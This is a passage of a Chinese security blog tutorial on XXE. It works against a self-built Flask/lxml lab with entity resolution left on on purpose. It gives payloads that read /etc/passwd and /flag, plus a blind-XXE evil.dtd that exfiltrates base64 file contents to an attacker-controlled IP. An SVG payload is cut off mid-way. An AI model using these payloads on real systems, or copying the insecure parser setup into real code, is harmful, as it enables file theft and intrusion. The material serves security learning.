style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-xml\"><span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">&#x3C;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">!ENTITY xxe SYSTEM \"file:///etc/passwd\"</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">></span></span></code></pre>\n<p><code>ENTITY xxe</code>：声明一个名为xxe的自定义实体</p>\n<p><code>SYSTEM</code>：普通的实体定义是不带<code>SYSTEM</code>的，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-xml\"><span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">&#x3C;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">!ENTITY name \"ZLARYY\"</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">></span></span></code></pre>\n<p>加上<code>SYSTEM</code>之后，就变成了外部实体，他可以让解析器去后面跟随的系统路径中加载内容</p>\n<p><code>&quot;file:///etc/passwd&quot;</code>：表示外部资源的目标URI，这里使用file伪协议进行本地文件读取</p>\n<p><code>&lt;username&gt;&amp;xxe;&lt;/username&gt;</code>：不能只定义实体，还需要在XML数据部分调用，其中<code>&amp;xxe</code>表示调用 并插入名为xxe的实体的值</p>\n<h2 id=\"靶场测试\"><a class=\"anchor\" href=\"#靶场测试\">#</a> 靶场测试</h2>\n<p>我搭建了一个本地的测试靶场来试试：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> render_template_string</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> lxml </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> etree</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__name__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 前端 HTML：一个简单的文件上传表单</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">HTML_FORM</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"\"\"</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;!DOCTYPE html></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;html></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;head>&#x3C;title>XXE 文件上传靶场&#x3C;/title>&#x3C;/head></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;body style=\"font-family: Arial; margin: 40px;\"></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;h2>欢迎来到 XXE 测试靶场&#x3C;/h2></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;p>请上传您的 XML 配置文件：&#x3C;/p></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;form action=\"/upload\" method=\"post\" enctype=\"multipart/form-data\"></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;input type=\"file\" name=\"xmlFile\" accept=\".xml\"></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;br>&#x3C;br></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;input type=\"submit\" value=\"上传并解析\"></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;/form></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/body></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/html></span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 首页路由：显示上传页面</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> index</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> HTML_FORM</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 上传处理路由：接收文件并进行脆弱的解析</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/upload</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> methods</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">POST</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> upload_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">xmlFile</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">files</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">没有检测到文件上传</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#B07D48;--shiki-dark:#BD976A\">    file</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">files</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">xmlFile</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> file</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">filename </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> ''</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">文件为空</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> file</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        xml_data </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> file</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">read</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">            # 【核心漏洞点】：配置解析器，允许解析外部实体 (resolve_entities=True)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            parser </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> etree</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">XMLParser</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">resolve_entities</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">True</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> no_network</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">False</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">            # 开始解析用户上传的 XML 内容</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            root </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> etree</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">fromstring</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">xml_data</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> parser</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">            # 模拟业务逻辑：提取 &#x3C;username> 标签里的内容并展示在页面上</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            username </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> root</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">findtext</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">username</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> username</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                return</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"&#x3C;h3>XML 解析成功！&#x3C;/h3>&#x3C;p>提取到的用户名信息如下：&#x3C;/p>&#x3C;pre style='background:#eee; padding:10px;'></span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">username</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/pre>\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">文件已解析，但未找到 &#x26;lt;username&#x26;gt; 标签。</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        except</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Exception</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> as</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            return</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"&#x3C;h3 style='color:red;'>XML 解析失败或格式错误&#x3C;/h3>&#x3C;p>错误信息: </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">e</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/p>\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 启动服务器，监听所有 IP 的 5000 端口</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">run</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">host</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">0.0.0.0</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> port</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5000</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>上传上面的xml文件之后，我们可以看到如下内容：</p>\n<p><img loading=\"lazy\" src=\"/2026/04/07/XXE/1.png\" class=\"\"></p>\n<p>除此之外我们可以查看flag</p>\n<p><img loading=\"lazy\" src=\"/2026/04/07/XXE/2.png\" class=\"\"></p>\n<p>以上就是有回显XXE的情况</p>\n<h1 id=\"无回显xxe\"><a class=\"anchor\" href=\"#无回显xxe\">#</a> 无回显XXE</h1>\n<p>看了一下大致方法，相当于是一种外带，首先通过在自己的服务器上创建一个evil.dtd文件，然后上传一个xml格式文件让靶机远程下载这个dtd文件</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-xml\"><span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">&#x3C;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource=file:///flag\"</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">></span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">&#x3C;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">!ENTITY % int \"</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">&#x3C;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">!ENTITY </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x26;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">#37</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> send SYSTEM 'http://</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">IP地址</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">/index.php?q=%file;'</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">></span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">\"</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">></span></span></code></pre>\n<p>所以我们上传的xml文件只需要让靶机去访问/evil.dtd就行了：</p>\n<p>这里提一嘴，在开启靶场环境的时候记得用apache而不是python，也就是说我们的环境必须是php代码搭建起来的，本人有幸在这里卡了很久。。。。。。</p>\n<p>首先在我们的公网IP服务器上写入evil.dtd：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-xml\"><span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">&#x3C;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource=file:///flag\"</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">></span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">&#x3C;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">!ENTITY % eval \"</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">&#x3C;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">!ENTITY </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x26;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">#x25</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> error SYSTEM 'http://</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">IP地址与端口</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">/?p=%file;'</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">></span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">\"</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">></span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">%eval;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">%error;</span></span></code></pre>\n<p>这里选择使用参数实体，原因是参数实体可以在定义内部被调用而且可以嵌套使用</p>\n<p>上传payload：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-xml\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">?</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">xml</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> version</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">1.0</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> encoding</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">utf-8</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">?</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">!</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">DOCTYPE</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> convert</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">!</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">ENTITY</span><span style=\"color:#999999;--shiki-dark:#666666\"> % </span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">remote</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> SYSTEM </span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">http://[IP地址与端口]/evil.dtd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">%</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">remote</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">convert</span><span style=\"color:#999999;--shiki-dark:#666666\">></span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">test</span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">convert</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span></code></pre>\n<p>别忘了用<code>python3 -m http.server 8000</code>开启evil.dtd环境，上传payload之后我们就可以看到两条请求信息：</p>\n<p><img loading=\"lazy\" src=\"/2026/04/07/XXE/3.png\" class=\"\"></p>\n<p>p后面的base64编码字符串就是我们的flag</p>\n<p><img loading=\"lazy\" src=\"/2026/04/07/XXE/4.png\" class=\"\"></p>\n<h1 id=\"svg\"><a class=\"anchor\" href=\"#svg\">#</a> svg</h1>\n<p>除此之外，如果有题目允许上传svg文件，也是有可能存在XXE漏洞的，payload如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-xml\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">?</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">xml</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> version</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">1.0</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">?</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">!</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">DOCTYPE</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> svg</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">!</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">ENTITY</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> xxe</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> SYSTEM </span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">file:///flag</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">svg</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> xmlns</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span 